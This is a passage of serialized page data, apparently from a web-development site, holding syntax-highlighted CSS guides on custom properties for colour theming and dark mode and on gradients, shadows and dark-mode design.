--color-danger",[1560,54627,1663],{"class":1570},[1560,54629,2497],{"class":1576},[1560,54631,1688],{"class":1570},[1560,54633,54634],{"class":2219},"--red-500",[1560,54636,1744],{"class":1570},[1560,54638,54639,54641,54643,54645,54647,54650],{"class":1562,"line":11633},[1560,54640,3499],{"class":2219},[1560,54642,1663],{"class":1570},[1560,54644,2497],{"class":1576},[1560,54646,1688],{"class":1570},[1560,54648,54649],{"class":2219},"--green-500",[1560,54651,1744],{"class":1570},[1560,54653,54654],{"class":1562,"line":11638},[1560,54655,1585],{"class":1570},[1560,54657,54658],{"class":1562,"line":11672},[1560,54659,1702],{"emptyLinePlaceholder":363},[1560,54661,54662],{"class":1562,"line":19435},[1560,54663,54664],{"class":1649},"\u002F* Layer 3: Component tokens — specific to UI elements *\u002F\n",[1560,54666,54667,54669],{"class":1562,"line":19442},[1560,54668,2207],{"class":1566},[1560,54670,1571],{"class":1570},[1560,54672,54673,54676,54678,54680,54682,54684],{"class":1562,"line":19475},[1560,54674,54675],{"class":2219},"  --button-bg",[1560,54677,1663],{"class":1570},[1560,54679,2497],{"class":1576},[1560,54681,1688],{"class":1570},[1560,54683,54397],{"class":2219},[1560,54685,1744],{"class":1570},[1560,54687,54688,54691,54693,54695],{"class":1562,"line":19508},[1560,54689,54690],{"class":2219},"  --button-text",[1560,54692,1663],{"class":1570},[1560,54694,2565],{"class":1576},[1560,54696,2228],{"class":1570},[1560,54698,54699,54702,54704,54706],{"class":1562,"line":44196},[1560,54700,54701],{"class":2219},"  --card-bg",[1560,54703,1663],{"class":1570},[1560,54705,2565],{"class":1576},[1560,54707,2228],{"class":1570},[1560,54709,54710,54713,54715,54717,54719,54721,54723,54725,54727,54729,54731,54733,54735,54737,54739,54741,54743],{"class":1562,"line":44203},[1560,54711,54712],{"class":2219},"  --card-shadow",[1560,54714,1663],{"class":1570},[1560,54716,5285],{"class":1576},[1560,54718,18868],{"class":1576},[1560,54720,1670],{"class":1669},[1560,54722,48433],{"class":1576},[1560,54724,1670],{"class":1669},[1560,54726,18694],{"class":1576},[1560,54728,1688],{"class":1570},[1560,54730,5285],{"class":1576},[1560,54732,1459],{"class":1570},[1560,54734,5285],{"class":1576},[1560,54736,1459],{"class":1570},[1560,54738,5285],{"class":1576},[1560,54740,1459],{"class":1570},[1560,54742,46961],{"class":1576},[1560,54744,1744],{"class":1570},[1560,54746,54747],{"class":1562,"line":44220},[1560,54748,1585],{"class":1570},[16,54750,54751,54752,54754],{},"Primitive tokens should rarely appear outside the ",[143,54753,2207],{}," definition. Components reference semantic tokens, and semantic tokens reference primitives. This separation makes rebranding or theming a configuration change, not a refactor.",[11,54756,54758],{"id":54757},"dark-mode-with-custom-properties","Dark Mode With Custom Properties",[16,54760,54761],{},"Custom properties make dark mode almost trivial. Override semantic tokens under your dark mode selector:",[135,54763,54765],{"className":1554,"code":54764,"language":1556,"meta":141,"style":141},".dark {\n  --color-bg: var(--gray-900);\n  --color-text: var(--gray-100);\n  --color-primary: var(--blue-400);\n  --card-bg: var(--gray-800);\n  --card-shadow: 0 1px 3px rgba(0, 0, 0, 0.3);\n}\n",[143,54766,54767,54773,54787,54801,54816,54831,54867],{"__ignoreMap":141},[1560,54768,54769,54771],{"class":1562,"line":1563},[1560,54770,4355],{"class":1566},[1560,54772,1571],{"class":1570},[1560,54774,54775,54777,54779,54781,54783,54785],{"class":1562,"line":337},[1560,54776,2220],{"class":2219},[1560,54778,1663],{"class":1570},[1560,54780,2497],{"class":1576},[1560,54782,1688],{"class":1570},[1560,54784,54618],{"class":2219},[1560,54786,1744],{"class":1570},[1560,54788,54789,54791,54793,54795,54797,54799],{"class":1562,"line":343},[1560,54790,54609],{"class":2219},[1560,54792,1663],{"class":1570},[1560,54794,2497],{"class":1576},[1560,54796,1688],{"class":1570},[1560,54798,54602],{"class":2219},[1560,54800,1744],{"class":1570},[1560,54802,54803,54805,54807,54809,54811,54814],{"class":1562,"line":365},[1560,54804,5815],{"class":2219},[1560,54806,1663],{"class":1570},[1560,54808,2497],{"class":1576},[1560,54810,1688],{"class":1570},[1560,54812,54813],{"class":2219},"--blue-400",[1560,54815,1744],{"class":1570},[1560,54817,54818,54820,54822,54824,54826,54829],{"class":1562,"line":889},[1560,54819,54701],{"class":2219},[1560,54821,1663],{"class":1570},[1560,54823,2497],{"class":1576},[1560,54825,1688],{"class":1570},[1560,54827,54828],{"class":2219},"--gray-800",[1560,54830,1744],{"class":1570},[1560,54832,54833,54835,54837,54839,54841,54843,54845,54847,54849,54851,54853,54855,54857,54859,54861,54863,54865],{"class":1562,"line":1710},[1560,54834,54712],{"class":2219},[1560,54836,1663],{"class":1570},[1560,54838,5285],{"class":1576},[1560,54840,18868],{"class":1576},[1560,54842,1670],{"class":1669},[1560,54844,48433],{"class":1576},[1560,54846,1670],{"class":1669},[1560,54848,18694],{"class":1576},[1560,54850,1688],{"class":1570},[1560,54852,5285],{"class":1576},[1560,54854,1459],{"class":1570},[1560,54856,5285],{"class":1576},[1560,54858,1459],{"class":1570},[1560,54860,5285],{"class":1576},[1560,54862,1459],{"class":1570},[1560,54864,18724],{"class":1576},[1560,54866,1744],{"class":1570},[1560,54868,54869],{"class":1562,"line":1717},[1560,54870,1585],{"class":1570},[16,54872,54873,54874,54876,54877,54880,54881,54884],{},"When the ",[143,54875,4355],{}," class is applied to the ",[143,54878,54879],{},"\u003Chtml>"," element, every semantic token re-resolves to its dark-mode value. Components that reference ",[143,54882,54883],{},"var(--color-bg)"," automatically receive the dark background. No component code changes required.",[16,54886,54887,54888,54891],{},"This pattern works with ",[143,54889,54890],{},"@media (prefers-color-scheme: dark)"," as well:",[135,54893,54895],{"className":1554,"code":54894,"language":1556,"meta":141,"style":141},"@media (prefers-color-scheme: dark) {\n  :root {\n    --color-bg: var(--gray-900);\n    --color-text: var(--gray-100);\n  }\n}\n",[143,54896,54897,54903,54909,54924,54939,54943],{"__ignoreMap":141},[1560,54898,54899,54901],{"class":1562,"line":1563},[1560,54900,17186],{"class":1669},[1560,54902,20188],{"class":1570},[1560,54904,54905,54907],{"class":1562,"line":337},[1560,54906,17205],{"class":1566},[1560,54908,1571],{"class":1570},[1560,54910,54911,54914,54916,54918,54920,54922],{"class":1562,"line":343},[1560,54912,54913],{"class":2219},"    --color-bg",[1560,54915,1663],{"class":1570},[1560,54917,2497],{"class":1576},[1560,54919,1688],{"class":1570},[1560,54921,54618],{"class":2219},[1560,54923,1744],{"class":1570},[1560,54925,54926,54929,54931,54933,54935,54937],{"class":1562,"line":365},[1560,54927,54928],{"class":2219},"    --color-text",[1560,54930,1663],{"class":1570},[1560,54932,2497],{"class":1576},[1560,54934,1688],{"class":1570},[1560,54936,54602],{"class":2219},[1560,54938,1744],{"class":1570},[1560,54940,54941],{"class":1562,"line":889},[1560,54942,4959],{"class":1570},[1560,54944,54945],{"class":1562,"line":1710},[1560,54946,1585],{"class":1570},[16,54948,54949,54950,54953],{},"For sites using ",[143,54951,54952],{},"@nuxtjs\u002Fcolor-mode",", the module manages the class switching automatically.",[11,54955,54957],{"id":54956},"color-format-considerations","Color Format Considerations",[16,54959,54960],{},"Custom properties store color values as strings. The format you choose affects what you can do with the value downstream:",[193,54962,54963,54977],{},[196,54964,54965],{},[199,54966,54967,54969,54972,54975],{},[202,54968,13018],{},[202,54970,54971],{},"Alpha Support",[202,54973,54974],{},"Composable",[202,54976,133],{},[211,54978,54979,54992,55008,55024,55039],{},[199,54980,54981,54983,54986,54988],{},[216,54982,4031],{},[216,54984,54985],{},"Limited (8-digit)",[216,54987,6117],{},[216,54989,54990],{},[143,54991,2260],{},[199,54993,54994,54996,55001,55003],{},[216,54995,29358],{},[216,54997,54998,54999],{},"Yes, via ",[143,55000,5140],{},[216,55002,3057],{},[216,55004,55005],{},[143,55006,55007],{},"rgb(59, 130, 246)",[199,55009,55010,55012,55017,55019],{},[216,55011,29369],{},[216,55013,54998,55014],{},[143,55015,55016],{},"hsla()",[216,55018,3057],{},[216,55020,55021],{},[143,55022,55023],{},"hsl(217, 91%, 60%)",[199,55025,55026,55029,55032,55034],{},[216,55027,55028],{},"OKLCH",[216,55030,55031],{},"Yes, native",[216,55033,3057],{},[216,55035,55036],{},[143,55037,55038],{},"oklch(0.62 0.19 264)",[199,55040,55041,55044,55047,55049],{},[216,55042,55043],{},"Color-mix",[216,55045,55046],{},"Full",[216,55048,3057],{},[216,55050,55051],{},[143,55052,55053],{},"color-mix(in srgb, var(--color-primary) 80%, white)",[16,55055,55056],{},"If you need to adjust opacity dynamically, RGB or HSL formats work better than hex:",[135,55058,55060],{"className":1554,"code":55059,"language":1556,"meta":141,"style":141},":root {\n  --color-primary-rgb: 59, 130, 246;\n}\n\n.overlay {\n  background-color: rgba(var(--color-primary-rgb), 0.5);\n}\n",[143,55061,55062,55068,55087,55091,55095,55101,55124],{"__ignoreMap":141},[1560,55063,55064,55066],{"class":1562,"line":1563},[1560,55065,2207],{"class":1566},[1560,55067,1571],{"class":1570},[1560,55069,55070,55073,55075,55077,55079,55081,55083,55085],{"class":1562,"line":337},[1560,55071,55072],{"class":2219},"  --color-primary-rgb",[1560,55074,1663],{"class":1570},[1560,55076,19995],{"class":1576},[1560,55078,1459],{"class":1570},[1560,55080,20000],{"class":1576},[1560,55082,1459],{"class":1570},[1560,55084,20005],{"class":1576},[1560,55086,2228],{"class":1570},[1560,55088,55089],{"class":1562,"line":343},[1560,55090,1585],{"class":1570},[1560,55092,55093],{"class":1562,"line":365},[1560,55094,1702],{"emptyLinePlaceholder":363},[1560,55096,55097,55099],{"class":1562,"line":889},[1560,55098,5707],{"class":1566},[1560,55100,1571],{"class":1570},[1560,55102,55103,55105,55107,55109,55111,55113,55115,55118,55120,55122],{"class":1562,"line":1710},[1560,55104,2492],{"class":1576},[1560,55106,1663],{"class":1570},[1560,55108,5670],{"class":1576},[1560,55110,1688],{"class":1570},[1560,55112,2497],{"class":1576},[1560,55114,1688],{"class":1570},[1560,55116,55117],{"class":2219},"--color-primary-rgb",[1560,55119,18895],{"class":1570},[1560,55121,5687],{"class":1576},[1560,55123,1744],{"class":1570},[1560,55125,55126],{"class":1562,"line":1717},[1560,55127,1585],{"class":1570},[16,55129,55130,55131,55133],{},"The modern ",[143,55132,51116],{}," function eliminates the need for separate RGB variables:",[135,55135,55137],{"className":1554,"code":55136,"language":1556,"meta":141,"style":141},".button:hover {\n  background-color: color-mix(in srgb, var(--color-primary) 85%, white);\n}\n",[143,55138,55139,55145,55180],{"__ignoreMap":141},[1560,55140,55141,55143],{"class":1562,"line":1563},[1560,55142,5771],{"class":1566},[1560,55144,1571],{"class":1570},[1560,55146,55147,55149,55151,55153,55155,55157,55160,55162,55164,55166,55168,55170,55172,55174,55176,55178],{"class":1562,"line":337},[1560,55148,2492],{"class":1576},[1560,55150,1663],{"class":1570},[1560,55152,51115],{"class":1576},[1560,55154,1688],{"class":1570},[1560,55156,7953],{"class":2219},[1560,55158,55159],{"class":1576}," srgb",[1560,55161,1459],{"class":1570},[1560,55163,2497],{"class":1576},[1560,55165,1688],{"class":1570},[1560,55167,54397],{"class":2219},[1560,55169,1733],{"class":1570},[1560,55171,14876],{"class":1576},[1560,55173,17990],{"class":1669},[1560,55175,1459],{"class":1570},[1560,55177,2565],{"class":1576},[1560,55179,1744],{"class":1570},[1560,55181,55182],{"class":1562,"line":343},[1560,55183,1585],{"class":1570},[11,55185,55187],{"id":55186},"fallback-values","Fallback Values",[16,55189,55190],{},"Custom properties support fallback values when a variable is not defined:",[135,55192,55194],{"className":1554,"code":55193,"language":1556,"meta":141,"style":141},".badge {\n  color: var(--badge-color, var(--color-danger));\n}\n",[143,55195,55196,55203,55227],{"__ignoreMap":141},[1560,55197,55198,55201],{"class":1562,"line":1563},[1560,55199,55200],{"class":1566},".badge",[1560,55202,1571],{"class":1570},[1560,55204,55205,55207,55209,55211,55213,55216,55218,55220,55222,55225],{"class":1562,"line":337},[1560,55206,2510],{"class":1576},[1560,55208,1663],{"class":1570},[1560,55210,2497],{"class":1576},[1560,55212,1688],{"class":1570},[1560,55214,55215],{"class":2219},"--badge-color",[1560,55217,1459],{"class":1570},[1560,55219,2497],{"class":1576},[1560,55221,1688],{"class":1570},[1560,55223,55224],{"class":2219},"--color-danger",[1560,55226,41941],{"class":1570},[1560,55228,55229],{"class":1562,"line":343},[1560,55230,1585],{"class":1570},[16,55232,55233],{},"Use fallbacks for component tokens that may not always be defined. This keeps components functional even when a specific theme does not override the token.",[11,55235,1355],{"id":1354},[41,55237,55238,55241,55244,55247,55250,55255],{},[44,55239,55240],{},"CSS custom properties centralize color definitions — change one value, update the entire theme",[44,55242,55243],{},"Structure color tokens in three layers: primitive → semantic → component",[44,55245,55246],{},"Dark mode becomes a selector-based variable override with zero component changes",[44,55248,55249],{},"Choose RGB\u002FHSL over hex when you need composable alpha values",[44,55251,1388,55252,55254],{},[143,55253,51116],{}," for dynamic color manipulation without JavaScript",[44,55256,55257],{},"Always provide fallback values for optional component tokens",[11,55259,321],{"id":320},[41,55261,55262,55266,55270],{},[44,55263,55264],{},[98,55265,40386],{"href":30381},[44,55267,55268],{},[98,55269,40391],{"href":30673},[44,55271,55272],{},[98,55273,55274],{"href":30456},"CSS Color Values: A Complete Reference",[11,55276,286],{"id":285},[16,55278,55279,55280,55282],{},"Convert hex colors to RGB for composable custom properties with our free ",[98,55281,40405],{"href":5989}," converter. Enter any hex value and get RGB, HSL, and OKLCH formats ready for your design token system.",[2043,55284,55285],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":55287},[55288,55289,55290,55291,55292,55293,55294,55295],{"id":54340,"depth":337,"text":54341},{"id":54441,"depth":337,"text":54442},{"id":54757,"depth":337,"text":54758},{"id":54956,"depth":337,"text":54957},{"id":55186,"depth":337,"text":55187},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Use CSS custom properties to manage color values consistently — dynamic theming, dark mode, and design token systems with practical patterns.",{"immutable":363},{"title":54332,"description":55296},"guides\u002Fcss-custom-properties-color-values","88JqNfJ8cc0OIgSKJ-nrnsVQCMVdy0c6kHQKuWcCY_Y",{"id":55302,"title":55303,"body":55304,"date":2070,"description":56856,"extension":361,"meta":56857,"navigation":363,"path":49354,"readingTime":1710,"seo":56858,"stem":56859,"__hash__":56860},"guides\u002Fguides\u002Fcss-design-tips.md","CSS Design Tips: Using Gradients, Shadows, and Color for Modern UIs",{"type":8,"value":55305,"toc":56839},[55306,55310,55313,55317,55320,55361,55367,55373,55478,55482,55485,55595,55599,55626,55695,55699,55702,55735,55835,55839,55842,55991,55994,56067,56071,56074,56137,56141,56291,56296,56300,56303,56329,56419,56423,56785,56787,56807,56809,56818,56820,56836],[11,55307,55309],{"id":55308},"design-is-in-the-details","Design Is in the Details",[16,55311,55312],{},"A polished UI does not require a design degree. Small, consistent use of gradients, shadows, and color can transform a flat wireframe into a professional interface. This guide covers practical techniques you can apply today — no Figma plugins required.",[11,55314,55316],{"id":55315},"subtle-vs-bold-gradients","Subtle vs. Bold Gradients",[16,55318,55319],{},"Not every gradient needs to be a rainbow. The best UI gradients fall into two categories:",[193,55321,55322,55333],{},[196,55323,55324],{},[199,55325,55326,55328,55331],{},[202,55327,9085],{},[202,55329,55330],{},"When to Use",[202,55332,133],{},[211,55334,55335,55348],{},[199,55336,55337,55340,55343],{},[216,55338,55339],{},"Subtle",[216,55341,55342],{},"Buttons, cards, backgrounds",[216,55344,55345],{},[143,55346,55347],{},"linear-gradient(180deg, #334155, #1E293B)",[199,55349,55350,55353,55356],{},[216,55351,55352],{},"Bold",[216,55354,55355],{},"Hero sections, feature banners",[216,55357,55358],{},[143,55359,55360],{},"linear-gradient(135deg, #3B82F6, #8B5CF6)",[16,55362,55363,55366],{},[47,55364,55365],{},"Subtle gradients"," shift just 5–15% in lightness. They add depth without drawing attention to themselves. Think of them as the seasoning, not the main dish.",[16,55368,55369,55372],{},[47,55370,55371],{},"Bold gradients"," use contrasting hues and higher saturation. Reserve them for focal points — the one area on the page where you want all eyes to land.",[135,55374,55376],{"className":1554,"code":55375,"language":1556,"meta":141,"style":141},"\u002F* Subtle card depth *\u002F\n.card {\n  background: linear-gradient(180deg, #1E293B, #0F172A);\n}\n\n\u002F* Bold hero splash *\u002F\n.hero {\n  background: linear-gradient(135deg, #3B82F6 0%, #8B5CF6 50%, #EC4899 100%);\n}\n",[143,55377,55378,55383,55389,55413,55417,55421,55426,55432,55474],{"__ignoreMap":141},[1560,55379,55380],{"class":1562,"line":1563},[1560,55381,55382],{"class":1649},"\u002F* Subtle card depth *\u002F\n",[1560,55384,55385,55387],{"class":1562,"line":337},[1560,55386,1567],{"class":1566},[1560,55388,1571],{"class":1570},[1560,55390,55391,55393,55395,55397,55399,55401,55403,55405,55407,55409,55411],{"class":1562,"line":343},[1560,55392,5665],{"class":1576},[1560,55394,1663],{"class":1570},[1560,55396,46356],{"class":1576},[1560,55398,1688],{"class":1570},[1560,55400,35584],{"class":1576},[1560,55402,1694],{"class":1669},[1560,55404,1459],{"class":1570},[1560,55406,2315],{"class":1576},[1560,55408,1459],{"class":1570},[1560,55410,2299],{"class":1576},[1560,55412,1744],{"class":1570},[1560,55414,55415],{"class":1562,"line":365},[1560,55416,1585],{"class":1570},[1560,55418,55419],{"class":1562,"line":889},[1560,55420,1702],{"emptyLinePlaceholder":363},[1560,55422,55423],{"class":1562,"line":1710},[1560,55424,55425],{"class":1649},"\u002F* Bold hero splash *\u002F\n",[1560,55427,55428,55430],{"class":1562,"line":1717},[1560,55429,32789],{"class":1566},[1560,55431,1571],{"class":1570},[1560,55433,55434,55436,55438,55440,55442,55444,55446,55448,55450,55452,55454,55456,55459,55461,55463,55465,55468,55470,55472],{"class":1562,"line":1747},[1560,55435,5665],{"class":1576},[1560,55437,1663],{"class":1570},[1560,55439,46356],{"class":1576},[1560,55441,1688],{"class":1570},[1560,55443,46361],{"class":1576},[1560,55445,1694],{"class":1669},[1560,55447,1459],{"class":1570},[1560,55449,2260],{"class":1576},[1560,55451,13541],{"class":1576},[1560,55453,17990],{"class":1669},[1560,55455,1459],{"class":1570},[1560,55457,55458],{"class":1576},"#8B5CF6",[1560,55460,18318],{"class":1576},[1560,55462,17990],{"class":1669},[1560,55464,1459],{"class":1570},[1560,55466,55467],{"class":1576},"#EC4899",[1560,55469,35878],{"class":1576},[1560,55471,17990],{"class":1669},[1560,55473,1744],{"class":1570},[1560,55475,55476],{"class":1562,"line":2507},[1560,55477,1585],{"class":1570},[11,55479,55481],{"id":55480},"pairing-gradients-with-box-shadows","Pairing Gradients with Box Shadows",[16,55483,55484],{},"Gradients create surface variation. Shadows create elevation. Together they produce a convincing sense of depth.",[135,55486,55488],{"className":1554,"code":55487,"language":1556,"meta":141,"style":141},".elevated-card {\n  background: linear-gradient(180deg, #1E293B, #0F172A);\n  box-shadow:\n    0 1px 2px rgba(0, 0, 0, 0.3),\n    0 4px 12px rgba(0, 0, 0, 0.2);\n}\n",[143,55489,55490,55497,55521,55527,55559,55591],{"__ignoreMap":141},[1560,55491,55492,55495],{"class":1562,"line":1563},[1560,55493,55494],{"class":1566},".elevated-card",[1560,55496,1571],{"class":1570},[1560,55498,55499,55501,55503,55505,55507,55509,55511,55513,55515,55517,55519],{"class":1562,"line":337},[1560,55500,5665],{"class":1576},[1560,55502,1663],{"class":1570},[1560,55504,46356],{"class":1576},[1560,55506,1688],{"class":1570},[1560,55508,35584],{"class":1576},[1560,55510,1694],{"class":1669},[1560,55512,1459],{"class":1570},[1560,55514,2315],{"class":1576},[1560,55516,1459],{"class":1570},[1560,55518,2299],{"class":1576},[1560,55520,1744],{"class":1570},[1560,55522,55523,55525],{"class":1562,"line":343},[1560,55524,18679],{"class":1576},[1560,55526,19182],{"class":1570},[1560,55528,55529,55531,55533,55535,55537,55539,55541,55543,55545,55547,55549,55551,55553,55555,55557],{"class":1562,"line":365},[1560,55530,19187],{"class":1576},[1560,55532,18868],{"class":1576},[1560,55534,1670],{"class":1669},[1560,55536,9426],{"class":1576},[1560,55538,1670],{"class":1669},[1560,55540,18694],{"class":1576},[1560,55542,1688],{"class":1570},[1560,55544,5285],{"class":1576},[1560,55546,1459],{"class":1570},[1560,55548,5285],{"class":1576},[1560,55550,1459],{"class":1570},[1560,55552,5285],{"class":1576},[1560,55554,1459],{"class":1570},[1560,55556,18724],{"class":1576},[1560,55558,19216],{"class":1570},[1560,55560,55561,55563,55565,55567,55569,55571,55573,55575,55577,55579,55581,55583,55585,55587,55589],{"class":1562,"line":889},[1560,55562,19187],{"class":1576},[1560,55564,13574],{"class":1576},[1560,55566,1670],{"class":1669},[1560,55568,19321],{"class":1576},[1560,55570,1670],{"class":1669},[1560,55572,18694],{"class":1576},[1560,55574,1688],{"class":1570},[1560,55576,5285],{"class":1576},[1560,55578,1459],{"class":1570},[1560,55580,5285],{"class":1576},[1560,55582,1459],{"class":1570},[1560,55584,5285],{"class":1576},[1560,55586,1459],{"class":1570},[1560,55588,18949],{"class":1576},[1560,55590,1744],{"class":1570},[1560,55592,55593],{"class":1562,"line":1710},[1560,55594,1585],{"class":1570},[33,55596,55598],{"id":55597},"shadow-layering-rules","Shadow Layering Rules",[41,55600,55601,55607,55620],{},[44,55602,55603,55606],{},[47,55604,55605],{},"Two shadows minimum",": One tight (small offset), one diffused (larger offset)",[44,55608,55609,55612,55613,55616,55617],{},[47,55610,55611],{},"Dark mode",": Use higher alpha values — ",[143,55614,55615],{},"rgba(0,0,0,0.4)"," instead of ",[143,55618,55619],{},"rgba(0,0,0,0.1)",[44,55621,55622,55625],{},[47,55623,55624],{},"Never pure black",": Real shadows carry the color of the surface they sit on",[135,55627,55629],{"className":1554,"code":55628,"language":1556,"meta":141,"style":141},"\u002F* Light mode shadow *\u002F\nbox-shadow:\n  0 1px 3px rgba(0, 0, 0, 0.08),\n  0 8px 24px rgba(0, 0, 0, 0.12);\n\n\u002F* Dark mode shadow *\u002F\nbox-shadow:\n  0 1px 3px rgba(0, 0, 0, 0.4),\n  0 8px 24px rgba(0, 0, 0, 0.3);\n",[143,55630,55631,55636,55642,55652,55662,55666,55671,55677,55686],{"__ignoreMap":141},[1560,55632,55633],{"class":1562,"line":1563},[1560,55634,55635],{"class":1649},"\u002F* Light mode shadow *\u002F\n",[1560,55637,55638,55640],{"class":1562,"line":337},[1560,55639,1880],{"class":2484},[1560,55641,19182],{"class":1570},[1560,55643,55644,55647,55650],{"class":1562,"line":343},[1560,55645,55646],{"class":1570},"  0 1px 3px rgba(0, 0, 0, 0",[1560,55648,55649],{"class":1566},".08",[1560,55651,19216],{"class":1570},[1560,55653,55654,55657,55660],{"class":1562,"line":365},[1560,55655,55656],{"class":1570},"  0 8px 24px rgba(0, 0, 0, 0",[1560,55658,55659],{"class":1566},".12",[1560,55661,1744],{"class":1570},[1560,55663,55664],{"class":1562,"line":889},[1560,55665,1702],{"emptyLinePlaceholder":363},[1560,55667,55668],{"class":1562,"line":1710},[1560,55669,55670],{"class":1649},"\u002F* Dark mode shadow *\u002F\n",[1560,55672,55673,55675],{"class":1562,"line":1717},[1560,55674,1880],{"class":2484},[1560,55676,19182],{"class":1570},[1560,55678,55679,55681,55684],{"class":1562,"line":1747},[1560,55680,55646],{"class":1570},[1560,55682,55683],{"class":1566},".4",[1560,55685,19216],{"class":1570},[1560,55687,55688,55690,55693],{"class":1562,"line":2507},[1560,55689,55656],{"class":1570},[1560,55691,55692],{"class":1566},".3",[1560,55694,1744],{"class":1570},[11,55696,55698],{"id":55697},"dark-mode-gradients","Dark Mode Gradients",[16,55700,55701],{},"Dark backgrounds reveal flaws that light backgrounds hide. Follow these rules:",[77,55703,55704,55717,55723,55729],{},[44,55705,55706,55709,55710,1531,55712,55616,55715],{},[47,55707,55708],{},"Never go pure black"," — Use ",[143,55711,2299],{},[143,55713,55714],{},"#121212",[143,55716,4321],{},[44,55718,55719,55722],{},[47,55720,55721],{},"Lighten gradient stops"," — Colors need more lightness to read well on dark surfaces",[44,55724,55725,55728],{},[47,55726,55727],{},"Reduce saturation"," — Colors appear more vivid on dark backgrounds; tone them down 10–20%",[44,55730,55731,55734],{},[47,55732,55733],{},"Test contrast"," — Verify all text meets WCAG AA (4.5:1 for body text)",[135,55736,55738],{"className":1554,"code":55737,"language":1556,"meta":141,"style":141},":root {\n  --surface: #0F172A;\n  --surface-raised: #1E293B;\n}\n\n.dark-card {\n  background: linear-gradient(180deg, var(--surface-raised), var(--surface));\n  color: #E2E8F0; \u002F* Contrast: 12.3:1 ✓ *\u002F\n}\n",[143,55739,55740,55746,55757,55768,55772,55776,55783,55817,55831],{"__ignoreMap":141},[1560,55741,55742,55744],{"class":1562,"line":1563},[1560,55743,2207],{"class":1566},[1560,55745,1571],{"class":1570},[1560,55747,55748,55751,55753,55755],{"class":1562,"line":337},[1560,55749,55750],{"class":2219},"  --surface",[1560,55752,1663],{"class":1570},[1560,55754,2299],{"class":1576},[1560,55756,2228],{"class":1570},[1560,55758,55759,55762,55764,55766],{"class":1562,"line":343},[1560,55760,55761],{"class":2219},"  --surface-raised",[1560,55763,1663],{"class":1570},[1560,55765,2315],{"class":1576},[1560,55767,2228],{"class":1570},[1560,55769,55770],{"class":1562,"line":365},[1560,55771,1585],{"class":1570},[1560,55773,55774],{"class":1562,"line":889},[1560,55775,1702],{"emptyLinePlaceholder":363},[1560,55777,55778,55781],{"class":1562,"line":1710},[1560,55779,55780],{"class":1566},".dark-card",[1560,55782,1571],{"class":1570},[1560,55784,55785,55787,55789,55791,55793,55795,55797,55799,55801,55803,55806,55808,55810,55812,55815],{"class":1562,"line":1717},[1560,55786,5665],{"class":1576},[1560,55788,1663],{"class":1570},[1560,55790,46356],{"class":1576},[1560,55792,1688],{"class":1570},[1560,55794,35584],{"class":1576},[1560,55796,1694],{"class":1669},[1560,55798,1459],{"class":1570},[1560,55800,2497],{"class":1576},[1560,55802,1688],{"class":1570},[1560,55804,55805],{"class":2219},"--surface-raised",[1560,55807,18895],{"class":1570},[1560,55809,2497],{"class":1576},[1560,55811,1688],{"class":1570},[1560,55813,55814],{"class":2219},"--surface",[1560,55816,41941],{"class":1570},[1560,55818,55819,55821,55823,55826,55828],{"class":1562,"line":1747},[1560,55820,2510],{"class":1576},[1560,55822,1663],{"class":1570},[1560,55824,55825],{"class":1576},"#E2E8F0",[1560,55827,3664],{"class":1570},[1560,55829,55830],{"class":1649},"\u002F* Contrast: 12.3:1 ✓ *\u002F\n",[1560,55832,55833],{"class":1562,"line":2507},[1560,55834,1585],{"class":1570},[11,55836,55838],{"id":55837},"css-variables-for-gradient-systems","CSS Variables for Gradient Systems",[16,55840,55841],{},"Hardcoding gradient values across a codebase creates maintenance headaches. Use CSS custom properties to define gradient palettes once.",[135,55843,55845],{"className":1554,"code":55844,"language":1556,"meta":141,"style":141},":root {\n  --grad-primary: linear-gradient(135deg, #3B82F6, #8B5CF6);\n  --grad-surface: linear-gradient(180deg, #1E293B, #0F172A);\n  --grad-accent: linear-gradient(135deg, #F59E0B, #EF4444);\n}\n\n.btn-primary {\n  background: var(--grad-primary);\n}\n\n.hero-banner {\n  background: var(--grad-accent);\n}\n",[143,55846,55847,55853,55878,55903,55928,55932,55936,55942,55957,55961,55965,55972,55987],{"__ignoreMap":141},[1560,55848,55849,55851],{"class":1562,"line":1563},[1560,55850,2207],{"class":1566},[1560,55852,1571],{"class":1570},[1560,55854,55855,55858,55860,55862,55864,55866,55868,55870,55872,55874,55876],{"class":1562,"line":337},[1560,55856,55857],{"class":2219},"  --grad-primary",[1560,55859,1663],{"class":1570},[1560,55861,46356],{"class":1576},[1560,55863,1688],{"class":1570},[1560,55865,46361],{"class":1576},[1560,55867,1694],{"class":1669},[1560,55869,1459],{"class":1570},[1560,55871,2260],{"class":1576},[1560,55873,1459],{"class":1570},[1560,55875,55458],{"class":1576},[1560,55877,1744],{"class":1570},[1560,55879,55880,55883,55885,55887,55889,55891,55893,55895,55897,55899,55901],{"class":1562,"line":343},[1560,55881,55882],{"class":2219},"  